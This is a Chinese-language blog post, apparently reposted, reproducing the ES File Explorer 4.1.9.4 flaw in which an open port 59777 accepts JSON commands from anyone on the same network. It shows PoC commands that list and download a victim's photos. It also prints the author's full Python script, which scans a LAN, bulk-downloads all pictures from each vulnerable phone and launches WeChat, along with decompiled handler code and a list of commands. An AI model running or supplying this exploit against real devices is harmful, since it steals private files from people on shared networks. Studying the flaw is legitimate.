内容简介:今天上网的时候看到一个poc开始是192.168.0.100
写在前面的话
今天上网的时候看到一个 新闻 ,ES文件浏览器存在漏洞,同一个网络下的用户可以直接访问安装了ES的用户手机上的文件,正好我手机上也安装了es,于是就测试了下。
测试
poc 地址 下载
ip:
开始是192.168.0.100
后来有事去了,再连就是192.168.0.102
版本号:4.1.9.4
0x00验证漏洞
首先电脑和手机处于同一个网络,再查看我的手机ip,和es的版本
执行命令 python poc.py poc.py --cmd getDeviceInfo --network 192.168.0.
0x01分析原理
看了各位大佬的分析,小白我大概知道了原理,就是向手机发送一个json的数据包,我们使用大佬的 脚本 ,想手机发送一个数据包,抓包分析一下
确实是发送了一个json的数据包
0x02获取受害者手机图片
首先列出受害者手机所有图片
python poc.py --cmd listPics
可以看到很多手机图片
0x03下载受害者图片
我们随便从刚才获得的列表中挑一张下载试试
python poc.py -g /storage/emulated/0/DCIM/Camera/IMG_20181218_175120.jpg
成功将图片下载到本地
0x04造个轮子
玩了下大佬的脚本,确实厉害,但是发现一个问题,就是他的脚本会自动扫描局域网所有的ip,这样就会很浪费时间,所以本着练习 python 编程的想法,自己又造了个轮子
#coding:utf-8 from socket import * import requests import re import json import sys addrs = [] def poc(): for ip in range(101, 104): addr = "192.168.0."+str(ip) s = socket(AF_INET, SOCK_STREAM) s.settimeout(1) if not s.connect_ex((addr, 59777)): s.close() print("[+]"+addr+"存在漏洞") addrs.append(addr) else: continue s.close() print("[+]扫描结束\n[+]执行操作"+sys.argv[1]) def cmd(cmd): poc() for addr in addrs: headers = {"Content-Type": "application/json"} address = 'http://' + addr + ':59777' data = '{ "command":' + cmd + ' }' r = requests.post(address, headers=headers, data=data) if cmd == 'listPics':#下载图片 image = re.compile(r'/s.*jpg') for i in image.findall(r.text): imageurl = address + i filename = i.rsplit('/', 1)[1] r = requests.get(imageurl, headers=headers) print("[+]正在下载"+i) with open(filename, 'wb') as f: f.write(r.content) #break elif cmd == 'wx':#启动微信 data = '{"command":"appLaunch", "appPackageName": "com.tencent.mm"}' r = requests.post(address, headers=headers, data=data) else: print(r.text) def main(): if len(sys.argv) > 1: cmd(sys.argv[1]) else: print('Usage:') print('python3 es.py wx') print('python3 es.py listPics') print('python3 es.py listApps') print('python3 es.py listAudios') print('python3 es.py listVideos') print('python3 es.py listAppsPhone') print('python3 es.py getDeviceInfo') print('python3 es.py listAppsAll') if __name__ == '__main__': main()
添加了一键下载所有图片,启动微信等功能,大致原理就是去请求资源的地址,只要符合APP的方法就行,具体方法参考漏洞路径 4.1.84class2.-dex2jar.jar\com\estrongs\android\f\a.class
public c.b a(String paramString1, String paramString2, Properties paramProperties1, Properties paramProperties2, Properties paramProperties3) { if (paramString1.startsWith("/estrongs_filemgr_oauth_result")) { paramString1 = CreateOAuthNetDisk.b(); if (paramString1 != null) { paramString1.a(paramProperties2); } return null; } if (paramString2.equals("POST"))//判断发送方法是否为POST { localObject = new String(g()); try { localObject = new JSONObject((String)localObject);//JSONG解码 String str = ((JSONObject)localObject).getString("command");//获取JSON中command字段值 if (str.equals("listFiles")) {//获取文件列表 return b(paramString1); } if (str.equals("listPics")) {//获取图片列表 return d(); } if (str.equals("listVideos")) {//获取视频列表 return e(); } if (str.equals("listAudios")) {//获取音频列表 return f(); } if (str.equals("listApps")) {//获取软件列表 return a(0); } if (str.equals("listAppsSystem")) {//获取系统软件列表 return a(1); } if (str.equals("listAppsPhone")) {//获取电话软件列表 return a(2); } if (str.equals("listAppsSdcard")) {//获取安装在SD卡中的软件列表 return a(3); } if (str.equals("listAppsAll")) {//获取全部APP return a(4); } if (str.equals("getAppThumbnail")) {//获取APP缩略图 return d((JSONObject)localObject); } if (str.equals("appLaunch")) {//启动APP return a((JSONObject)localObject); } if (str.equals("appPull")) {//下载APP return c((JSONObject)localObject); } if (str.equals("getDeviceInfo"))//获取设备信息 { paramString1 = b((JSONObject)localObject); return paramString1; } } catch (JSONException paramString1) { paramString1.printStackTrace(); return new c.b(this, "500 Internal Server Error", "text/plain", paramString1.toString()); } } Object localObject = ah.bL(paramString1); if ((localObject == null) || (ah.I((String)localObject) == 0)) { if (localObject == null) { return super.a(paramString1, paramString2, paramProperties1, paramProperties2, paramProperties3); } return super.a((String)localObject, paramString2, paramProperties1, paramProperties2, paramProperties3); } paramString1 = paramProperties1.getProperty("range"); if ((paramString1 != null) && (paramString1.startsWith("bytes="))) { paramString2 = paramString1.substring("bytes=".length()); int i = paramString2.indexOf('-'); paramString1 = paramString2; if (i > 0) { paramString1 = paramString2.substring(0, i); } } for (;;) { try { l = Long.parseLong(paramString1); return a((String)localObject, l, 0L); } catch (NumberFormatException paramString1) { l = 0L; continue; } long l = 0L; } }
0x05其他功能
listFiles:列出所有文件 listPics:列出所有图片 listVideos:列出所有视频 listAudios:列出所有音频文件 listApps:列出所有已安装的应用 listAppsSystem:列出所有系统应用 listAppsPhone:列出所有手机应用 listAppsSdcard:列出所有sdcard listAppsAll:列出安装的所有应用程序(包括系统应用程序) getDeviceInfo:获取设备信息 appPull:从设备中提取应用程序。需要包名称参数 appLaunch:启动应用程序。需要包名称参数 getAppThumbnail:获取应用程序的图标。包名称参数是必需的
最后还要膜下发现漏洞的大佬,是真的强。文章有什么不足,各位师傅多多指出。
以上所述就是小编给大家介绍的《ES文件浏览器漏洞复现》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- WinRAR 代码执行漏洞复现
- CVE-2017-12615漏洞复现
- 越权操作漏洞的思考与复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。